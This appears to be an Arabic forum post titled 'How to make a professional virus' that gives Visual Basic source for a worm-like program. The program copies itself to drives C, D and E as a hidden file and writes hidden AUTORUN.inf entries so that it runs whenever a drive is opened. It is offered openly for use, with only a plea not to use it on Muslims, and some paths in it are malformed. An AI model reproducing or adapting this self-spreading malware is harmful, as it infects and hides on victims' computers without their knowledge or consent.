كيف تصنع فايروس محترف

هذا كود لفايروس يحتوي علي ملف AUTORUN.INI كلما فتحت الاقراص الصلبة فأن الفايروس يفتح نفسة ونسخ نفسة في جميع الاقراص الصلبة
الكود
كود:

FileCopy App.Path + "\" + App.EXEName + ".exe", "c:\virous.com"
SetAttr "c:\virous", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "c:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = virous.com"
Print #1, "shell\open=???''??"
Print #1, "shell\open\command= virous.com"
Close #1
SetAttr "c:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "\" + App.EXEName + ".exe", "d:\virous.com"
SetAttr "d:\virous", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "d\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = virous.com"
Print #1, "shell\open=???''??"
Print #1, "shell\open\command= virous.com"
Close #1
SetAttr "d:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "\" + App.EXEName + ".exe", "e:\virous.com"
SetAttr "e:\virous", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "e\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = virous.com"
Print #1, "shell\open=???''??"
Print #1, "shell\open\command= virous.com"
Close #1
SetAttr "e:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem

طبعأ عندما ينسخ نفسة يقوم بتغيير صيغتة الي com وهي ايضاً صيغة برامج

انا زكرت هذا الكود من اجل الاستفادة يرجي عدم استعمالة في المسلمين


منقول للافاده
جرااح